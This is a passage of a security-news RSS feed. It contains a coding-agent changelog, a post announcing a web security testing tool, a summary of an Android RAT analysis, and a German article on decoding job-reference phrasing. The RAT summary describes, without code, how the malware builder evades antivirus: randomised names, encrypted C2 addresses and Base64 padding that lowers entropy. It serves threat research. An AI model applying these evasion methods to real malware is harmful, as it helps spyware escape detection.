<li>fix(update): detect active Linux libc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BrianHotopp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BrianHotopp">@BrianHotopp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5043632395" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7394" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7394/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7394">#7394</a></li>
<li>fix(postmortem): resolve native hard-exit per call by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5043678167" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7395" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7395/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7395">#7395</a></li>
<li>fix(session): make project directories safe and unique by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5043797892" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7397" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7397/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7397">#7397</a></li>
<li>feat(omp): navigate conversation turns in tree by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oleksoleksoleks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oleksoleksoleks">@oleksoleksoleks</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5024466863" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7126" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7126/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7126">#7126</a></li>
<li>feat(coding-agent): configure web search timeout by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/will-bogusz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/will-bogusz">@will-bogusz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5033196673" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7197" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7197/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7197">#7197</a></li>
<li>fix(edit): prevent fuzzy replace-all self-matching by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5045096573" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7437" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7437/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7437">#7437</a></li>
<li>fix(mcp): expand env vars in reauth OAuth credentials and reject empty tokens by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5045227527" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7441" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7441/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7441">#7441</a></li>
<li>fix(coding-agent): keep completed session entries durable across crashes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/olegpulatov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/olegpulatov">@olegpulatov</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5045673688" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7444" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7444/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7444">#7444</a></li>
<li>fix(openai): preserve Codex native image results by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5045798471" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7447" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7447/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7447">#7447</a></li>
<li>feat(tui): add hidden tool activity mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dannyboy-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dannyboy-ai">@dannyboy-ai</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5040310027" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7342" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7342/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7342">#7342</a></li>
<li>fix(extensions): resolve compiled dependency graphs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5044682630" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7405" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7405/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7405">#7405</a></li>
<li>fix(coding-agent): restore legacy compaction exports by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5044683022" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7406" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7406/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7406">#7406</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhang17-24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhang17-24">@zhang17-24</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5036087935" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7246" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7246/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7246">#7246</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jwmacd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jwmacd">@jwmacd</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5039542401" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7327" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7327/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7327">#7327</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fatihaziz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fatihaziz">@fatihaziz</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5041900066" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7371" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7371/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7371">#7371</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paolofraz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paolofraz">@paolofraz</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5042500693" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7390" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7390/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7390">#7390</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BrianHotopp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BrianHotopp">@BrianHotopp</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5043632395" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7394" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7394/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7394">#7394</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dannyboy-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dannyboy-ai">@dannyboy-ai</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5040310027" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7342" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7342/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7342">#7342</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v17.2.4...v17.2.5">v17.2.4...v17.2.5</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[I open-sourced CyvoraX Suite, a Java-based web security workbench. I'd appreciate technical feedback.]]></title>
<description><![CDATA[Hi everyone, I've been working on an open-source desktop application called CyvoraX Suite and recently released the latest version. The project is built with Java 17, JavaFX, and Netty, with additional native components written in Rust, Go, C, C++, and C#. Current features include: • MITM interce...]]></description>
<link>https://tsecurity.de/de/3700233/malware-trojaner-viren/i-open-sourced-cyvorax-suite-a-java-based-web-security-workbench-id-appreciate-technical-feedback/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700233/malware-trojaner-viren/i-open-sourced-cyvorax-suite-a-java-based-web-security-workbench-id-appreciate-technical-feedback/</guid>
<pubDate>Mon, 03 Aug 2026 10:23:24 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi everyone,</p> <p>I've been working on an open-source desktop application called CyvoraX Suite and recently released the latest version.</p> <p>The project is built with Java 17, JavaFX, and Netty, with additional native components written in Rust, Go, C, C++, and C#.</p> <p>Current features include:</p> <p>• MITM interception proxy</p> <p>• HTTP request/response editing</p> <p>• Site mapping</p> <p>• Payload fuzzing</p> <p>• AI-assisted security analysis</p> <p>I'm sharing it here to get technical feedback from the open-source community.</p> <p>I'd especially appreciate thoughts on:</p> <p>- Project architecture</p> <p>- Code organization</p> <p>- Performance</p> <p>- Documentation</p> <p>- Features that would make the project more useful</p> <p>Repository:</p> <p><a href="https://github.com/jojin1709/CyvoraX-Suite">https://github.com/jojin1709/CyvoraX-Suite</a></p> <p>Documentation:</p> <p><a href="https://jojin1709.github.io/CyvoraX-Suite/">https://jojin1709.github.io/CyvoraX-Suite/</a></p> <p>Thanks for taking a look. Any constructive feedback is appreciated.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Massive_Painting_600"> /u/Massive_Painting_600 </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1vbeobq/i_opensourced_cyvorax_suite_a_javabased_web/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1vbeobq/i_opensourced_cyvorax_suite_a_javabased_web/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Flying Eagle Android RAT Analysis: APK Builder Internals, SpyNote Overlaps, and 170 Active C2 Servers]]></title>
<description><![CDATA[Writeup covering the internals of Flying Eagle's APK generation pipeline. The builder replaces the hardcoded package name com.icontrol.protector with randomized legitimate-sounding strings and renames core classes with 8-14 character random strings at build time. Original class names give a clear...]]></description>
<link>https://tsecurity.de/de/3700240/malware-trojaner-viren/flying-eagle-android-rat-analysis-apk-builder-internals-spynote-overlaps-and-170-active-c2-servers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700240/malware-trojaner-viren/flying-eagle-android-rat-analysis-apk-builder-internals-spynote-overlaps-and-170-active-c2-servers/</guid>
<pubDate>Mon, 03 Aug 2026 10:23:24 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Writeup covering the internals of Flying Eagle's APK generation pipeline. The builder replaces the hardcoded package name com.icontrol.protector with randomized legitimate-sounding strings and renames core classes with 8-14 character random strings at build time. Original class names give a clear picture of capabilities: RecordPayPassword, LiveKeysStrok, ScreenCaps, Webjector, AccessibilityActivity, CameraCap.</p> <p>C2 URLs are encrypted with AES-128-CBC using a hardcoded default IV, password, and salt derived via PBKDF2-SHA1 at 65,536 iterations, maintaining compatibility with the original Windows .NET binary EaodWorker.exe. To suppress entropy-based AV detection, the builder injects 2.8-3.5 MB of Base64-encoded JSON into the APK assets directory, structured to resemble SDK configuration caches.</p> <p>Generated samples share Accessibility Service abuse, gesture injection via dispatchGesture, and WebSocket/Firebase C2 comms with modern SpyNote builds. SHA-256 hashes for six bundled APKs, the builder script, and BTMOB samples included in the report:</p> <p><a href="https://hunt.io/blog/flying-eagle-android-rat-170-servers-night-dragon">https://hunt.io/blog/flying-eagle-android-rat-170-servers-night-dragon</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Straight-Practice-99"> /u/Straight-Practice-99 </a> <br> <span><a href="https://hunt.io/blog/flying-eagle-android-rat-170-servers-night-dragon">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v95ius/flying_eagle_android_rat_analysis_apk_builder/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Den Geheimcode entziffern: So knacken Sie das Arbeitszeugnis]]></title>
<description><![CDATA[Foto: eccolo – Fotolia.com




Ein qualifiziertes Arbeitszeugnis zu schreiben kostet Zeit. Es gilt, sich zuerst über die Leistungen des scheidenden Mitarbeiters bei Kollegen und Vorgesetzten zu informieren und die Bewertung dann so zu formulieren, dass sie den gesetzlichen Vorgaben – jedes Zeugni...]]></description>
<link>https://tsecurity.de/de/3700156/it-security-nachrichten/den-geheimcode-entziffern-so-knacken-sie-das-arbeitszeugnis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700156/it-security-nachrichten/den-geheimcode-entziffern-so-knacken-sie-das-arbeitszeugnis/</guid>
<pubDate>Mon, 03 Aug 2026 10:21:09 +0200</pubDate>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" src="https://images.computerwoche.de/bdb/2678001/840x473.jpg" width="840" height="473"></figure><p class="imageCredit">
					Foto: eccolo – Fotolia.com</p></div>




<p class="wp-block-paragraph">Ein qualifiziertes Arbeitszeugnis zu schreiben kostet Zeit. Es gilt, sich zuerst über die Leistungen des scheidenden Mitarbeiters bei Kollegen und Vorgesetzten zu informieren und die Bewertung dann so zu formulieren, dass sie den gesetzlichen Vorgaben – jedes Zeugnis muss wahr und wohlwollend sein – entspricht. Gleichzeitig soll das Zeugnis der Individualität des Einzelnen gerecht werden. Diesen Anspruch können heute viele Personalverantwortliche nicht mehr erfülllen, weil ihnen dafür die Zeit fehlt.</p>



<h3 class="wp-block-heading">Die Bewertung hinter der Formulierung</h3>



<p class="wp-block-paragraph">Die Folge: Entweder greifen die Personaler auf mehr oder minder passende Zeugnisse von bereits ausgeschiedenen Mitarbeitern zurück, aus denen sie eine neue Variante zusammenmixen, oder sie benutzen eine Software, die nach Eingabe von Schulnoten für bestimmte Kategorien die standardisierten Textbausteine ausspuckt. Oft wird aber auch der Mitarbeiter aufgefordert, sich selbst sein Arbeitszeugnis zu schreiben. Allerdings ist es gar nicht so leicht, die eigene Leistung und das Sozialverhalten zu bewerten. Mittlerweile beschäftigen sich darum zahlreiche Bücher mit dem Thema und zeigen anhand von Beispielen, welche Bewertungen sich hinter den Formulierungen verstecken. Hier die wichtigsten Codes der Personaler im Überblick, die Professor Arnulf Weuster und Brigitte Scheer in ihrem Ratgeber “<a href="https://www.amazon.de/Arbeitszeugnisse-Textbausteinen-Rationelle-Erstellung-Rechtsfragen/dp/3415043851/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1344605468&amp;sr=1-1" title="Arbeitszeugnisse in Textbausteinen" target="_blank" rel="noopener">Arbeitszeugnisse in Textbausteinen</a>” auflisten.</p>



<h3 class="wp-block-heading">Einleitung</h3>



<p class="wp-block-paragraph">In der Einleitung steht, wie lange der Mitarbeiter im Unternehmen und in welcher Funktion er tätig war. Das Wort “tätig” zeigt schon hier den aktiven Mitarbeiter. Weniger gut, da passiver sind Formeln wie “wurde beschäftigt” oder “Hatte zu erledigen”. Wird im Eingangssatz nur die rechtliche Existenz eines Arbeitsverhältnisses betont (“Das Arbeitsverhältnis dauerte von/bis”, “xy war von/bis Angehöriger unseres Unternehmens”), kann dies andeuten, dass der Mitarbeiter aufgrund langer Fehlzeiten nur kurze Zeit wirklich arbeitete.</p>



<h3 class="wp-block-heading">Positions- und Aufgabenbeschreibung</h3>



<p class="wp-block-paragraph">Es genügt nicht, die bloße Position oder Funktion zu nennen, da sich in der Praxis hinter gleichen Begriffen unterschiedliche Aufgaben und Kompetenzen verbergen. Ein Beispiel dafür ist etwa der Projektleiter. Erklärungsbedürftig sind auch englische Funktionsbezeichnungen (etwa Technical Support Engineer), da sie außerhalb der Branche oft nicht verständlich sind. Fällt die Aufgabenbeschreibung zu knapp aus, könnte das so ausgelegt werden, dass der Mitarbeiter nicht gut gearbeitet hat.</p>



<p class="wp-block-paragraph">Ein Pluspunkt ist, wer sein ein Arbeiten als “selbständig” oder “eigenverantwortlich” beschreiben kann. Die Begriffe sollten aber nicht eingeschränkt werden, da sie eher negativ wirken. Beispiele dafür sind: “Zum Teil selbständig”, “nach Vorgaben/ unter Anleitung selbständig”. Wichtig ist auch, bei welchen Aufgaben Selbständigkeit testiert wird. Ein Negativ-Beispiel ist: “Er erledigte weitgehend selbständig alle Routine-Aufgaben.”</p>



<p class="wp-block-paragraph">Wichtig ist auch die Reihenfolge, in der die Aufgaben genannt werden: Das Wichtigste kommt immer zuerst, weniger qualifizierte Aufgaben am Schluss. Werden Routineaufgaben besonders betont und wichtige Tätigkeiten mit dem Wort “neben” eingeführt, kann dies abwertend wirken. Ein Negativ-Beispiel für Entwickler: “Neben dem Aufbau des Qualitäts-Sicherungsprozesses übernahm Herr Maier klassische Software-Entwicklungsaufgaben im Java/J2EE-Umfeld.”</p>



<p class="wp-block-paragraph">Wer sich als dynamischer Mitarbeiter darstellen will, sollte aktive und erfolgsbezogene Verben wie erledigen, verbessern, optimieren, einführen, realisieren, erreichen, steigern, erzielen, etc. wählen. Passive Formulierungen wie “Wurde eingesetzt/beschäftigt/versetzt” signalisieren oft fehlende Initiative oder Unselbständigkeit. </p>



<h3 class="wp-block-heading">Beurteilung der Arbeitsbereitschaft</h3>



<p class="wp-block-paragraph">Positive Signalwörter sind hier Einsatzwille, Fleiß, Interesse, Initiative, Engagement. Heißt es dagegen “Er setzt sich für die Interessen der Firma ein”, ist das nur eine Umschreibung einer puren Selbstverständlichkeit und nicht sehr aussagekräftig.</p>



<h3 class="wp-block-heading">Beurteilung der Leistungsfähigkeit</h3>



<p class="wp-block-paragraph">Ein zentraler Punkt im Zeugnis, hier geht es um Intelligenz, Auffassungsgabe, Urteilvermögen, Kreativität, Belastbarkeit, Ausdauer, Ausbildung, Berufserfahrung, Fachwissen und auch Weiterbildungsaktivitäten.</p>



<ul class="wp-block-list">
<li><p> <strong>Intelligenz/ Auffassungsgabe</strong>: “Er hat eine (ungewöhnlich) rasche Auffassungsgabe”, “er arbeitet sich rasch in neue Probleme ein”.</p></li>



<li><p> <strong>Belastbarkeit:</strong> “Er ist auch in schwierigen Situationen sehr gut belastbar und handelt dabei ruhig und überlegt.”</p></li>



<li><p> <strong>Flexibilität/ Kreativität/ Vielseitigkeit</strong>: “Sie ist jederzeit fähig und bereit, auch schwierige Aufgaben selbständig zu lösen.” “Er stellt sich auf veränderte Arbeitssituationen schnell ei n und ist daher vielseitig einsetzbar.” Den Begriff “visionär” sollte man dagegen sparsam verwenden, da er auch als weltfremd gedeutet werden kann.</p></li>



<li><p> <strong>Fachwissen:</strong> Hier werden die Aussagen im Präsens formuliert, da der Mitarbeiter auch nach dem Ausscheiden aus dem Unternehmen noch über sein Wissen verfügt. Positiv sind hier Sätze wie “Frau X verfügt über ein umfangreiches, fundiertes und aktuelles Fachwissen, das sie stets zum Nutzen des Unternehmens sehr gut in der Praxis umsetzte. Wer in seinem Zeugnis aber liest, dass “Seine umfangreiche Bildung ihn stets zu einem gesuchten Gesprächpartner machte”, hat wahrscheinlich zu viele Privatgespräche im Büro geführt. Negativ wirkt auch, wenn nur Anforderungen beschrieben werden ( “Diese Aufgabe erforderte Kenntnisse in…”).</p></li>



<li><p> <strong>Weiterbildung:</strong> Erfolgsbezogene Aussagen wie “Hat sich angeeignet/ vervollkommnete” sind besser als “Wurde ausgebildet” oder “Hat absolviert”.</p></li>
</ul>



<h3 class="wp-block-heading">Beurteilung der Arbeitsweise</h3>



<p class="wp-block-paragraph">Hier geht es um Selbständigkeit, Sorgfalt, Gewissenhaftigkeit und Zuverlässigkeit. Wird aber die Sorgfalt und Genauigkeit eines Mitarbeiters ohne Aussage über die Arbeitsmenge gelobt, kann das als Indiz für die mangelnde Arbeitsgeschwindigkeit gelesen werden. Auch ist es ein Unterschied ob “Herr Müller pünktlich ist ( = besonders am Feierabend, persönliche Eigenschaft) oder ob Herr Müller seine Arbeit pünktlich erledigt ( = termingerecht). </p>



<h3 class="wp-block-heading">Zusammenfassende Beurteilung der Leistung </h3>



<p class="wp-block-paragraph"> <strong>Sehr gute Beurteilung</strong>: Sie hat die Aufgaben stets zu unserer vollsten Zufriedenheit erledigt. Wir waren mit seinen Leistungen stets außerordentlich zufrieden.</p>



<p class="wp-block-paragraph"> <strong>Gute Beurteilung</strong>: stets zu unserer vollen Zufriedenheit.</p>



<p class="wp-block-paragraph"> <strong>Befriedigende Beurteilung</strong>: Sie hat die Aufgaben zu unserer vollen Zufriedenheit erledigt. Sie hat ihre Aufgaben voll zufriedenstellend getan.</p>



<p class="wp-block-paragraph"> <strong>Ausreichende Beurteilung</strong>: Sie hat ihre Aufgaben zufriedenstellend getan.</p>



<p class="wp-block-paragraph"> <strong>Mangelhafte Beurteilung</strong>: Er hat die Aufgaben zum großen Teil zu unserer Zufriedenheit getan. Sie hat ihre Aufgaben weitgehend/ in der Regel/ meist zufrieden stellend getan.</p>



<h3 class="wp-block-heading">Beurteilung des Sozialverhaltens</h3>



<p class="wp-block-paragraph">Hier wird das Verhalten gegenüber Kollegen, Chefs und Externen beurteilt. Wird nur die Kollegialität (“Im Mitarbeiterkreis gilt er als toleranter Kollege”) herausgestellt, deutet das auf Schwierigkeiten mit den Vorgesetzten hin. Beispiele für eine (versteckte) negative Bewertung des Sozialverhaltens sind:</p>



<ul class="wp-block-list">
<li><p>“In letzter Zeit kam es zu Konflikten mit dem Vorgesetzten/ Auseinandersetzungen im Kollegenkreis” ( sehr negativ, kann Alkoholkonsum andeuten)</p></li>



<li><p>“Frau Schuster hat ein bescheidenes und zuvorkommendes Wesen” ( = sie ist zurückhaltend, angepasst, unterwürfig)</p></li>



<li><p>“Mit ihren Vorgesetzten ist sie immer gut ausgekommen” ( = Anpassung um jeden Preis)</p></li>



<li><p>“Sein Verhalten war ohne Tadel/ hat nie zu Klagen Anlass gegeben.” (Damit wird ausgedrückt, dass es auch nicht lobenswert war).</p></li>



<li><p>“Anspruchsvoller und kritischer Mitarbeiter (= anspruchsvoll gegenüber anderen, eigensüchtiger Nörgler”)</p></li>



<li><p>“kontaktfreudiger/ allseits Beliebter/ kontaktwilliger Mitarbeiter” (= kann im Sinne von Sexualkontakt missgedeutet werden)</p></li>
</ul>



<p class="wp-block-paragraph">Wenn bei qualifizierten Mitarbeitern und Führungskräften Basistugenden wie Pünktlichkeit oder Zuverlässigkeit übermäßig betont werden, kann das eine bewusste Abwertung bedeuten. Beispiel: “Wir bestätigen gern, dass Herr Müller mit Fleiß und Ehrlichkeit an seine Aufgaben herangegangen ist.” (= aber ohne fachliche Qualifikation).</p>



<h3 class="wp-block-heading">Schlussformel</h3>



<p class="wp-block-paragraph">Fast drei Viertel aller Zeugnisse enthalten den Hinweis, dass der Mitarbeiter das Unternehmen “auf eigenen Wunsch” verlässt. Diese Formel wird zum Teil bei Kündigungen durch den Arbeitgeber oder Aufhebungsverträgen verwendet. Zweifel weckt sie im nächsten Vorstellungsgespräch dann, wenn der Lebenslauf des Arbeitnehmers nach dem Arbeitsverhältnis eine Lücke aufweist oder der nächste Job einen beruflichen Abstieg bedeutet. </p>



<p class="wp-block-paragraph">Bei einer betriebsbedingten Kündigung kann der Mitarbeiter verlangen, dass diese im Zeugnis genannt wird und der konkrete Grund wie Auftragsrückgang oder Rationalisierung genannt wird. </p>



<p class="wp-block-paragraph">“Für ihren weiteren Berufsweg wünschen wir Frau Schulz alles Gute”: Zukunftswünsche, Dank und Bedauern gehören in jedes gute Zeugnis von qualifizierten Mitarbeitern. Fehlen sie oder werden sie nur sehr kurz ausgesprochen, mindert das den Wert des gesamten Zeugnisses. Ganz wichtig sind hier die Zukunftswünsche: Wenn sie nicht ausgesprochen werden, wirkt das wie ein grußloser, unversöhnlicher Abschied, der auf eine tiefe Verstimmung hindeuten kann.</p>



<h3 class="wp-block-heading">Aufbau eines Zeugnisses</h3>



<ol class="wp-block-list">
<li><p>Einleitung ( Personalien, Gesamtdauer der Beschäftigung und Funktion im Unternehmen, Erläuterung zum Unternehmen)</p></li>



<li><p>Aufgabenbeschreibung</p></li>



<li><p>Beurteilung der Leistung und des Erfolgs</p></li>



<li><p>Beurteilung des Sozialverhaltens</p></li>



<li><p>Schlussformel (Ausscheiden, Dankes-Bedauern-Formel, Zukunftswünsche)</p></li>



<li><p>Ort, Datum, Unterschrift</p></li>
</ol>



<h3 class="wp-block-heading">Mehr zum Thema?</h3>



<ul class="wp-block-list">
<li><p> <a title="Der Klassiker" href="https://www.amazon.de/Arbeitszeugnisse-Textbausteinen-Rationelle-Erstellung-Rechtsfragen/dp/3415043851/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1344605468&amp;sr=1-1" target="_blank" rel="noopener">Der Klassiker</a>: Weuster, Arnulf, Scheer, Brigitte: Arbeitszeugnisse in Textbausteinen: Rationelle Erstellung, Analyse, Rechtsfragen, 14. Auflage von 2019, 416 Seiten, Richard Boorberg Verlag, 23,80 Euro</p></li>



<li><p> <a title="IT-Arbeitszeugnisse" href="https://www.ich-bin-mehr-wert.de/support/zeugnisberatung/" target="_blank" rel="noopener">IT-Arbeitszeugnisse</a>, Broschüre mit zahlreichen Beispielzeugnissen für IT-Berufe, herausgegeben von Verdi.</p></li>
</ul>



<div class="foundryDgalleryWrapper" data-foundry-gallery-id="20445"><h3>geheimcodes</h3><p><strong>Phrase 1</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 1" title="Phrase 1" src="https://images.computerwoche.de/bdb/145851/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 1</p></figcaption></figure></div><p><strong>Übersetzung 1</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 1" title="Übersetzung 1" src="https://images.computerwoche.de/bdb/145892/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 1</p></figcaption></figure></div><p><strong>Phrase 2</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 2" title="Phrase 2" src="https://images.computerwoche.de/bdb/145852/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 2</p></figcaption></figure></div><p><strong>Übersetzung 2</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 2" title="Übersetzung 2" src="https://images.computerwoche.de/bdb/145893/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 2</p></figcaption></figure></div><p><strong>Phrase 3</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 3" title="Phrase 3" 